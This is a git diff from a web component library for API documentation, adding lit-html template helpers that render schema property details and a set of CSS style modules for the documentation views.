+/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDataNodeUnion} ApiDataNodeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiRecursiveShape} ApiRecursiveShape */ + +/** + * @param {string} label The label to render. + * @param {string} title The value of the title attribute + * @param {string[]=} [css=[]] The list of class names to add + * @return {TemplateResult} The template for a pill visualization object + */ +export function pillTemplate(label, title, css=[]) { + const classes = { + 'param-pill': true, + 'pill': true, + }; + css.forEach((item) => { classes[item] = true }); + return html` + + ${label} + `; +} + +/** + * @param {TemplateResult[]} pills The pills to render + * @returns {TemplateResult|string} + */ +function pillsLine(pills) { + if (!pills.length) { + return ''; + } + return html` +
    + ${pills} +
    + `; +} + +/** + * @param {TemplateResult[]} pills The pills to render + * @param {TemplateResult[]} items The table properties to render. + * @returns {TemplateResult} + */ +function pillsAndTable(pills, items) { + return html` + ${pillsLine(pills)} + ${items.length ? html`
    ${items}
    ` : ''} + `; +} + +/** + * @param {ApiDataNodeUnion[]} values + * @returns {TemplateResult} + */ +function enumValuesTemplate(values) { + return html` +
    +
    Enum:
    +
      + ${values.map((item) => html`
    • ${/** @type ApiScalarNode */ (item).value}
    • `)} +
    +
    + `; +} + +/** + * @param {string} name The name of the parameter + * @param {boolean=} required Whether the parameter is required + * @param {boolean=} deprecated Whether the parameter is deprecated + * @param {string=} paramName When set it renders the parameter name. Should be used when `name` is a `display name`. + * @return {TemplateResult} The template for the property name value. + */ +export function paramNameTemplate(name, required=false, deprecated=false, paramName) { + const label = String(name||''); + const classes = { + 'param-name': true, + required, + deprecated, + }; + return html` +
    + ${label} +
    + ${paramName ? html`${paramName}` : ''} + `; +} + +/** + * @param {string} type The parameter type label to render. + * @return {TemplateResult|string} The template for the parameter data type. + */ +export function typeValueTemplate(type) { + if (!type) { + return ''; + } + return html` +
    + ${type} +
    + `; +} + +/** + * @param {string} description The description to render. + * @return {TemplateResult|string} The template for the markdown description + */ +export function descriptionValueTemplate(description) { + if (!description) { + return ''; + } + return html` +
    + +
    +
    +
    + `; +} + +/** + * @param {string} label The label to render + * @param {string} value The value to render + * @param {string=} name Optional data-name attribute value. + * @return {TemplateResult} + */ +export function tablePropertyTemplate(label, value, name) { + return html` +
    +
    ${label}:
    +
    ${value}
    +
    + `; +} + +export function detailSectionTemplate(items) { + return html` +
    + Details +
    + ${items} +
    +
    + `; +} + +/** + * @param {ApiScalarShape} schema + * @param {boolean=} noDetail When true it always render all properties, without the detail element. + * @return {TemplateResult|string} The template for the details of the scalar schema + */ +export function scalarDetailsTemplate(schema, noDetail) { + const { examples=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, deprecated, customDomainProperties } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (format) { + result.push(tablePropertyTemplate('Format', format)); + } + if (pattern) { + result.push(tablePropertyTemplate('Pattern', pattern)); + } + if (typeof minimum === 'number') { + result.push(tablePropertyTemplate('Minimum', String(minimum))); + } + if (typeof maximum === 'number') { + result.push(tablePropertyTemplate('Maximum', String(maximum))); + } + if (typeof minLength === 'number') { + result.push(tablePropertyTemplate('Minimum length', String(minLength))); + } + if (typeof maxLength === 'number') { + result.push(tablePropertyTemplate('Maximum length', String(maxLength))); + } + if (typeof multipleOf === 'number') { + result.push(tablePropertyTemplate('Multiple of', String(multipleOf))); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (values.length) { + result[result.length] = enumValuesTemplate(values); + } + if (examples.length) { + result[result.length] = html` +
    +
    Examples:
    +
      + ${examples.map((item) => html`
    • ${item.value}
    • `)} +
    +
    + `; + } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (noDetail && result.length) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiNodeShape} schema + * @return {TemplateResult|string} The template for the details of the Node schema + */ +function nodeDetailsTemplate(schema) { + const { maxProperties, minProperties, readOnly, writeOnly, deprecated, customDomainProperties } = schema; + const result = []; + const pills = []; + if (typeof minProperties === 'number') { + result.push(tablePropertyTemplate('Minimum properties', String(minProperties))); + } + if (typeof maxProperties === 'number') { + result.push(tablePropertyTemplate('Maximum properties', String(maxProperties))); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiArrayShape} schema + * @return {TemplateResult|string} The template for the details of the Array schema + */ +function arrayDetailsTemplate(schema) { + const { readOnly, writeOnly, uniqueItems, defaultValueStr, deprecated, customDomainProperties, items } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } else if (items && items.defaultValueStr) { + result.push(tablePropertyTemplate('Default value', items.defaultValueStr)); + } + if (uniqueItems) { + result.push(tablePropertyTemplate('Unique items', 'true')); + } + if (items && items.types && items.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + const scalar = /** @type ApiScalarShape */ (schema); + if (scalar.format) { + result.push(tablePropertyTemplate('Format', scalar.format)); + } + if (scalar.pattern) { + result.push(tablePropertyTemplate('Pattern', scalar.pattern)); + } + if (typeof scalar.minimum === 'number') { + result.push(tablePropertyTemplate('Minimum', String(scalar.minimum))); + } + if (typeof scalar.maximum === 'number') { + result.push(tablePropertyTemplate('Maximum', String(scalar.maximum))); + } + if (typeof scalar.minLength === 'number') { + result.push(tablePropertyTemplate('Minimum length', String(scalar.minLength))); + } + if (typeof scalar.maxLength === 'number') { + result.push(tablePropertyTemplate('Maximum length', String(scalar.maxLength))); + } + } + + if (readOnly || (items && items.readOnly)) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly || (items && items.writeOnly)) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated || (items && items.deprecated)) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (items && items.values.length) { + result[result.length] = enumValuesTemplate(items.values); + } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiRecursiveShape} schema + * @return {TemplateResult|string} The template for the recursive shape. + */ +function recursiveDetailsTemplate(schema) { + const { readOnly, writeOnly, defaultValueStr, deprecated, customDomainProperties, } = schema; + const result = []; + const pills = []; + pills.push(pillTemplate('Recursive', 'This property is is recursive.', ['warning'])); + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiUnionShape} schema + * @return {TemplateResult|string} The template for the details of the Union schema + */ +export function unionDetailsTemplate(schema) { + const { readOnly, writeOnly, defaultValueStr, deprecated, customDomainProperties } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + // return html`${result}`; + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiFileShape} schema + * @param {boolean=} noDetail When true it always render all properties, without the detail element. + * @return {TemplateResult|string} The template for the details of the File schema + */ +export function fileDetailsTemplate(schema, noDetail) { + const { customDomainProperties=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, fileTypes, deprecated } = schema; + const result = []; + const pills = []; + if (defaultValueStr) { + result.push(tablePropertyTemplate('Default value', defaultValueStr)); + } + if (fileTypes && fileTypes.length) { + result.push(tablePropertyTemplate('File types', fileTypes.join(', '))); + } + if (readOnly) { + pills.push(pillTemplate('Read only', 'This property is read only.')); + } + if (writeOnly) { + pills.push(pillTemplate('Write only', 'This property is write only.')); + } + if (deprecated) { + pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); + } + if (format) { + result.push(tablePropertyTemplate('Format', format)); + } + if (pattern) { + result.push(tablePropertyTemplate('Name pattern', pattern)); + } + if (typeof minimum === 'number') { + result.push(tablePropertyTemplate('Minimum size', String(minimum))); + } + if (typeof maximum === 'number') { + result.push(tablePropertyTemplate('Maximum size', String(maximum))); + } + if (typeof minLength === 'number') { + result.push(tablePropertyTemplate('Minimum length', String(minLength))); + } + if (typeof maxLength === 'number') { + result.push(tablePropertyTemplate('Maximum length', String(maxLength))); + } + if (typeof multipleOf === 'number') { + result.push(tablePropertyTemplate('Multiple of', String(multipleOf))); + } + if (values.length) { + result[result.length] = enumValuesTemplate(values); + } + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } + if (noDetail && result.length) { + return pillsAndTable(pills, result); + } + if (result.length && result.length < 3) { + return pillsAndTable(pills, result); + } + if (result.length) { + return html` + ${pillsLine(pills)} + ${detailSectionTemplate(result)} + `; + // return detailSectionTemplate(result); + } + return pillsLine(pills); +} + +/** + * @param {ApiShapeUnion} schema The schema definition. + * @return {TemplateResult|string} The template for the property details. + */ +export function detailsTemplate(schema) { + if (!schema) { + return ''; + } + const { types } = schema; + if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return scalarDetailsTemplate(/** @type ApiScalarShape */ (schema)); + } + if (types.includes(ns.w3.shacl.NodeShape)) { + return nodeDetailsTemplate(/** @type ApiNodeShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + return arrayDetailsTemplate(/** @type ApiArrayShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + return unionDetailsTemplate(/** @type ApiUnionShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { + return fileDetailsTemplate(/** @type ApiFileShape */ (schema)); + } + if (types.includes(ns.aml.vocabularies.shapes.RecursiveShape)) { + return recursiveDetailsTemplate(/** @type ApiRecursiveShape */ (schema)); + } + return '' +} diff --git a/src/elements/styles/ApiAnnotation.js b/src/elements/styles/ApiAnnotation.js new file mode 100644 index 0000000..f64fe30 --- /dev/null +++ b/src/elements/styles/ApiAnnotation.js @@ -0,0 +1,32 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; + color: var(--api-annotation-document-color, #616161); +} + +:host([hidden]) { + display: none; +} + +.custom-property { + border-left: 3px var(--api-annotation-accent-color, #1976D2) solid; + border-radius: 2px; + background-color: var(--api-annotation-background-color, #F5F7F9); + padding: 16px 0; + margin: 20px 0; + display: flex; +} + +.name { + font-weight: 500; +} + +.info-icon { + margin: 0 12px; + fill: var(--api-annotation-accent-color, #1976D2); + width: 24px; + height: 24px; +} +`; diff --git a/src/elements/styles/ApiDocumentation.js b/src/elements/styles/ApiDocumentation.js new file mode 100644 index 0000000..9f5b69c --- /dev/null +++ b/src/elements/styles/ApiDocumentation.js @@ -0,0 +1,11 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.server-selector { + margin-left: -8px; +} +`; diff --git a/src/elements/styles/ApiDocumentationDocument.js b/src/elements/styles/ApiDocumentationDocument.js new file mode 100644 index 0000000..5bf8a16 --- /dev/null +++ b/src/elements/styles/ApiDocumentationDocument.js @@ -0,0 +1,26 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.documentation-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.documentation-title .label { + font-size: var(--documentation-title-size, var(--arc-font-headline-font-size, 32px)); + font-weight: var(--documentation-title-weight, var(--arc-font-headline-font-weight, 400)); + letter-spacing: var(--documentation-title-letter-spacing, var(--arc-font-headline-letter-spacing, initial)); + line-height: var(--documentation-title-line-height, var(--arc-font-headline-line-height, initial)); + margin: 12px 0px; +} + +arc-marked { + background-color: transparent; + padding: 0; +} +`; diff --git a/src/elements/styles/ApiOperation.js b/src/elements/styles/ApiOperation.js new file mode 100644 index 0000000..8bedd08 --- /dev/null +++ b/src/elements/styles/ApiOperation.js @@ -0,0 +1,59 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.operation-header { + margin-bottom: 32px; +} + +.operation-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.operation-title .label { + font-size: var(--operation-title-size, 26px); + font-weight: var(--operation-title-weight, 400); + margin: 8px 0px; + flex: 1; +} + +.sub-header { + font-size: 0.95rem; + color: var(--operation-subheader-color, #616161); + margin: 0; +} + +.params-section { + padding-bottom: 20px; +} + +.summary { + color: var(--operation-description-color, var(--api-method-documentation-description-color, rgba(0, 0, 0, 0.74))); + font-size: 1.1rem; +} + +.callback-section { + margin: 12px 0; + padding: 8px; + background-color: var(--operation-callback-background-color, var(--api-method-documentation-callback-background-color, #f7f7f7)); +} + +.extensions { + font-style: italic; + margin: 12px 0; +} + +.method-response { + padding-left: var(--operation-responses-padding-left, var(--api-responses-method-padding-left, 20px)); + padding-right: var(--operation-responses-padding-right, var(--api-responses-method-padding-right, 20px)); +} + +.codes-selector-divider { + border-bottom: 1px var(--operation-response-codes-selector-divider-border-bottom-color, var(--api-responses-document-codes-selector-divider-border-bottom-color, #e5e5e5)) solid; +} +`; diff --git a/src/elements/styles/ApiParameter.js b/src/elements/styles/ApiParameter.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiParameter.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/src/elements/styles/ApiPayload.js b/src/elements/styles/ApiPayload.js new file mode 100644 index 0000000..be87b98 --- /dev/null +++ b/src/elements/styles/ApiPayload.js @@ -0,0 +1,11 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.schema-renderer { + margin-top: 24px; +} +`; diff --git a/src/elements/styles/ApiRequest.js b/src/elements/styles/ApiRequest.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiRequest.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/src/elements/styles/ApiResource.js b/src/elements/styles/ApiResource.js new file mode 100644 index 0000000..7e316cf --- /dev/null +++ b/src/elements/styles/ApiResource.js @@ -0,0 +1,78 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.endpoint-header { + margin-bottom: 40px; +} + +.endpoint-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.endpoint-title .label { + font-size: var(--resource-title-size, 32px); + font-weight: var(--resource-title-weight, 400); + margin: 12px 0px; +} + +.sub-header { + font-size: 0.95rem; + color: var(--resource-subheader-color, #616161); + margin: 0; +} + +.operation { + padding: 72px 0; +} + +.extensions { + font-style: italic; + margin: 12px 0; +} + +.operation-container.tryit { + display: flex; + flex-direction: row; + box-sizing: border-box; +} + +.operation-container.tryit api-operation-document { + width: var(--resource-operation-doc-width ,var(--api-endpoint-documentation-method-doc-width, 60%)); + max-width: var(--resource-operation-doc-max-width, var(--api-endpoint-documentation-method-doc-max-width)); + padding-right: 12px; + box-sizing: border-box; +} + +.operation-container.tryit .try-it-column { + padding: 60px 12px; + width: var(--resource-tryit-width, var(--api-endpoint-documentation-tryit-width, 40%)); + max-width: var(--resource-tryit-max-width, var(--api-endpoint-documentation-tryit-max-width)); + background-color: var(--resource-tryit-background-color, var(--api-endpoint-documentation-tryit-background-color, #ECEFF1)); +} + +.try-it-column api-request-panel, +.try-it-column http-code-snippets { + padding: 4px 4px 12px 4px; + background-color: var(--resource-tryit-panels-background-color, var(--api-endpoint-documentation-tryit-panels-background-color, #fff)); + box-sizing: border-box; + border-radius: var(--resource-tryit-panels-border-radius, var(--api-endpoint-documentation-tryit-panels-border-radius, 0px)); + border-width: 1px; + border-color: var(--resource-tryit-panels-border-color, var(--api-endpoint-documentation-tryit-panels-border-color, #EEEEEE)); + border-style: var(--resource-tryit-panels-border-style, var(--api-endpoint-documentation-tryit-panels-border-style, solid)); +} + +/* .sticky-content { + position: sticky; + top: 10px; +} */ + +.snippets { + margin-top: 20px; +} +`; diff --git a/src/elements/styles/ApiResponse.js b/src/elements/styles/ApiResponse.js new file mode 100644 index 0000000..69fdf25 --- /dev/null +++ b/src/elements/styles/ApiResponse.js @@ -0,0 +1,34 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.links-header { + font-size: 1.2rem; + margin: 0.8em 0; +} + +.link-header { + font-size: 1.1rem; + margin: 1em 0 0.4em 0; + font-weight: 500; +} + +.operation-id { + display: flex; + flex-direction: row; + margin: 0.2em 0; +} + +.operation-name { + margin-left: 8px; + font-weight: 500; +} + +.mapping-table { + margin: 12px 0 !important; +} + +`; diff --git a/src/elements/styles/ApiSchema.js b/src/elements/styles/ApiSchema.js new file mode 100644 index 0000000..a942385 --- /dev/null +++ b/src/elements/styles/ApiSchema.js @@ -0,0 +1,33 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.schema-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.schema-title .label { + font-size: var(--schema-title-size, 32px); + font-weight: var(--schema-title-weight, 400); + margin: 12px 0px; +} + +.schema-title.low-emphasis .label { + font-size: var(--schema-title-low-emphasis-size, 1.1rem); + font-weight: var(--schema-title-low-emphasis-weight, 400); +} + +.schema-title .type-name { + margin-left: 8px; + font-size: var(--schema-title-type-name-size, 22px); +} + +.schema-title.low-emphasis .type-name { + font-size: var(--schema-title-type-name-low-emphasis-size, 1.05rem); +} +`; diff --git a/src/elements/styles/ApiSecurityDocument.js b/src/elements/styles/ApiSecurityDocument.js new file mode 100644 index 0000000..9421d78 --- /dev/null +++ b/src/elements/styles/ApiSecurityDocument.js @@ -0,0 +1,85 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.security-header { + margin-bottom: 32px; +} + +.security-title { + display: flex; + align-items: center; + flex-direction: row; +} + +.security-title .label { + font-size: var(--security-title-size, 26px); + font-weight: var(--security-title-weight, 400); + margin: 8px 0px; +} + +.sub-header { + font-size: 0.95rem; + color: var(--security-subheader-color, #616161); + margin: 0; +} + +.params-section { + padding-bottom: 20px; +} + +.param-info { + margin: 12px 0; +} + +.param-info .location { + margin-bottom: 8px; +} + +.schema-example { + margin: 20px 0; +} + +.scopes-list { + margin: 20px 0; + padding: 0px 12px; +} + +.scope-value { + display: block; + margin: 8px 0px; + padding: 8px 0; +} + +.scope-value:not(:last-of-type) { + border-bottom: 1px #e5e5e5 dashed; +} + +.scope-name { + display: block; + font-size: 1.1rem; + user-select: text; +} + +.scope-description { + display: block; + margin-top: 4px; +} + +.value-title { + user-select: text; + font-weight: 400; + font-size: 1.2em; +} + +.grant-title { + font-size: 1.2em; +} + +.flow-section { + margin: 40px 0; +} +`; diff --git a/src/elements/styles/ApiSecurityRequirement.js b/src/elements/styles/ApiSecurityRequirement.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiSecurityRequirement.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/src/elements/styles/ApiSummary.js b/src/elements/styles/ApiSummary.js new file mode 100644 index 0000000..a417cc0 --- /dev/null +++ b/src/elements/styles/ApiSummary.js @@ -0,0 +1,174 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; + color: var(--api-summary-color, inherit); +} + +.api-title { + margin: 12px 0; + font-size: var(--api-summary-title-font-size, 16px); +} + +arc-marked { + padding: 0; +} + +.marked-description { + margin: 24px 0; +} + +.markdown-body { + margin-bottom: 28px; +} + +:host([narrow]) h1 { + font-size: var(--api-summary-title-narrow-font-size, 1.2rem); + margin: 0; +} + +.url-area { + display: flex; + flex-direction: column; + font-family: var(--arc-font-code-family); + + margin-bottom: 40px; + margin-top: 20px; + background-color: var(--code-background-color); + color: var(--code-color); + padding: 8px; + border-radius: var(--api-endpoint-documentation-url-border-radius, 4px); +} + +.url-label { + font-size: 0.75rem; + font-weight: 700; +} + +.url-value { + font-size: var(--api-endpoint-documentation-url-font-size, 1.07rem); + word-break: break-all; +} + +.method-value { + text-transform: uppercase; + white-space: nowrap; +} + +label.section { + color: var(--arc-font-subhead-color); + font-weight: var(--arc-font-subhead-font-weight); + line-height: var(--arc-font-subhead-line-height); + /* font-size: 18px; */ + margin-top: 20px; + display: block; +} + +a { + color: var(--link-color); +} + +a:hover { + color: var(--link-hover-color); +} + +.chip { + display: inline-block; + white-space: nowrap; + padding: 2px 4px; + margin-right: 8px; + background-color: var(--api-summary-chip-background-color, #f0f0f0); + color: var(--api-summary-chip-color, #616161); + border-radius: var(--api-summary-chip-border-radius, 2px); +} + +.app-link { + color: var(--link-color); +} + +.link-padding { + margin-left: 8px; +} + +.inline-description { + padding: 0; + margin: 0; +} + +.docs-section { + margin-bottom: 40px; +} + +.separator { + background-color: var(--api-summary-separator-color, rgba(0, 0, 0, 0.12)); + height: 1px; + margin: var(--api-summary-separator-margin, 40px 0); +} + +.endpoint-item { + margin-bottom: 32px; +} + +.method-label { + margin-right: 8px; + margin-bottom: 8px; + text-decoration: none; +} + +.method-label:hover, +.method-label:focus { + text-decoration: underline; +} + +.endpoint-path { + display: block; + text-decoration: none; + cursor: pointer; + margin-bottom: 4px; + display: inline-block; + font-weight: var(--api-summary-endpoint-path-font-weight, 500); + color: var(--link-color, #0277BD); + margin: 4px 0; + word-break: break-all; +} + +.endpoint-path:hover, +.endpoint-path:focus { + text-decoration: underline; + color: var(--link-color, #0277BD); +} + +.toc .section { + margin-bottom: 24px; +} + +.section { + font-size: var(--api-summary-section-title-font-size); +} + +.section.endpoints-title { + font-weight: var(--arc-font-title-font-weight, 500); + color: var(--arc-font-title-color); + font-weight: var(--arc-font-title-font-weight); + line-height: var(--arc-font-title-line-height); + font-size: var(--arc-font-title-font-size); +} + +.endpoint-path-name { + word-break: break-all; + margin: 8px 0; +} + +.servers .servers-label { + font-size: 0.75rem; + font-weight: 700; + margin: 0.8em 0 0.2em 0; +} + +.server-description { + display: block; + font-size: var(--api-summary-server-description-font-size, 12px); + font-weight: var(--api-summary-server-description-font-weight, 600); +} +`; diff --git a/src/elements/styles/AuthorizationEditor.js b/src/elements/styles/AuthorizationEditor.js new file mode 100644 index 0000000..0c6c0ac --- /dev/null +++ b/src/elements/styles/AuthorizationEditor.js @@ -0,0 +1,21 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} + +.auth-label, +.auth-selector-label { + display: flex; + flex-direction: row; + align-items: center; + margin: 12px 8px; +} + +.auth-selector-label { + font-size: var(--arc-font-subhead-font-size); + font-weight: var(--arc-font-subhead-font-weight); + line-height: var(--arc-font-subhead-line-height); +} +`; diff --git a/src/elements/styles/AuthorizationMethod.js b/src/elements/styles/AuthorizationMethod.js new file mode 100644 index 0000000..f4e8972 --- /dev/null +++ b/src/elements/styles/AuthorizationMethod.js @@ -0,0 +1,59 @@ +import { css } from 'lit-element'; + +export default css` +.form-input { + flex: 1; + margin: 0; +} + +.params-section { + margin: 20px 0; +} + +.section-title .label { + font-style: var(--http-request-section-title-font-size, 1.2rem); + font-weight: var(--http-request-section-title-font-weight, 500); +} + +.form-item { + margin: 12px 0; + display: flex; + align-items: center; + flex-direction: row; +} + +.array-form-item { + padding-left: 8px; + border-left: 1px var(--http-request-array-section-border-color, rgba(0, 0, 0, 0.14)) solid; +} + +.subtitle { + display: flex; + flex-direction: row; + align-items: center; + margin: 12px 8px; +} + +.section-title { + margin: 20px 8px 0px 8px; + display: block; +} + +arc-marked { + background-color: var(--inline-documentation-background-color, #FFF3E0); + padding: 4px; +} + +anypoint-input, anypoint-dropdown-menu, anypoint-masked-input { + flex: 1; + width: auto; + margin: 20px 0; +} + +.form-item anypoint-input, +.form-item anypoint-dropdown-menu, +.form-item anypoint-masked-input { + margin: 0; +} + +`; diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js new file mode 100644 index 0000000..2d02eb0 --- /dev/null +++ b/src/elements/styles/Common.js @@ -0,0 +1,124 @@ +import { css } from 'lit-element'; + +export default css` +.api-description { + margin-top: 16px; +} + +.api-description arc-marked { + margin: 0; + padding: 0; + padding-bottom: 20px; +} + +.endpoint-url { + margin: var(--api-endpoint-url-margin, var(--api-method-documentation-url-margin, 20px 0)); + padding: var(--api-endpoint-url-padding, var(--api-method-documentation-url-padding, 16px 12px)); + background-color: var(--api-endpoint-url-background-color, var(--api-method-documentation-url-background-color, #f5f7f9)); + color: var(--api-endpoint-url-color, var( --api-method-documentation-url-font-color, #000)); + display: flex; + align-items: center; + flex-direction: row; + font-family: var(--code-font-family); + font-size: var(--api-endpoint-url-font-size, var(--api-method-documentation-url-font-size, 1.07rem)); + border-radius: var(--api-endpoint-url-border-radius, var(--api-method-documentation-url-border-radius, 4px)); +} + +.endpoint-url .method-label { + text-transform: uppercase; + white-space: nowrap; + margin: 0; + font-size: var(--api-endpoint-http-method-label-font-size, var(--api-method-documentation-http-method-label-font-size, inherit)); + font-family: var(--api-endpoint-http-method-label-font-family, var(--api-method-documentation-http-method-label-font-family)); + font-weight: var(--api-endpoint-http-method-label-font-weight, var(--api-method-documentation-http-method-label-font-weight)); + min-width: var(--api-endpoint-http-method-label-min-width, var(--api-method-documentation-http-method-label-min-width, inherit)); +} + +.endpoint-url .url-value { + flex: 1; + margin-left: 12px; + word-break: break-all; +} + +.property-item { + border-bottom: 1px var(--operation-params-property-border-color, #C6c6c6) solid; + margin: 20px 0; +} + +.params-title { + display: flex; + align-items: center; + flex-direction: row; + border-bottom: 1px var(--operation-params-title-border-color, var(--api-parameters-document-title-border-color, #D6D6D6)) solid; + cursor: default; + user-select: none; + transition: border-bottom-color 0.15s ease-in-out; +} + +.params-title.opened { + border-bottom-color: transparent; +} + +.params-title .label { + margin: 20px 0; + /* This is for compatibility with the old components. */ + font-family: var(--operation-params-title-font-family, var(--api-parameters-document-h3-font-family, var(--arc-font-subhead-font-family))); + font-size: var(--operation-params-title-size, var(--api-parameters-document-h3-font-size, var(--arc-font-subhead-font-size, 22px))); + font-weight: var(--operation-params-title-weight, var(--api-parameters-document-h3-font-weight, var(--arc-font-subhead-font-weight, 400))); + line-height: var(--operation-params-title-line-height, var(--api-parameters-document-h3-line-height, var(--arc-font-subhead-line-height, initial))); + color: var(--operation-params-title-color, var(--api-parameters-document-h3-font-color, var(--arc-font-subhead-color, initial))); +} + +.section-toggle { + margin-left: auto; +} + +.toggle-icon { + transition: transform 0.23s linear; +} + +.opened .toggle-icon { + transform: rotate(180deg); +} + +.media-type { + margin: 12px 0; +} + +.media-type span { + font-weight: 500; +} + +.amf-media-types { + margin: 12px 0; +} + +.deprecated { + text-decoration: line-through; +} + +.deprecated-message { + font-weight: bold; + margin: 12px 0; + padding: 12px 8px; + background-color: var(--deprecated-message-background-color, #ffc107); + color: var(--deprecated-message-color, #000); + display: flex; + align-items: center; + border-radius: 4px; +} + +.deprecated-message .message { + margin-left: 12px; +} + +.empty-info { + font-size: 1.1rem; + margin-left: 24px; + padding: 12px 0; +} + +.example-description { + margin: 12px 0; +} +`; diff --git 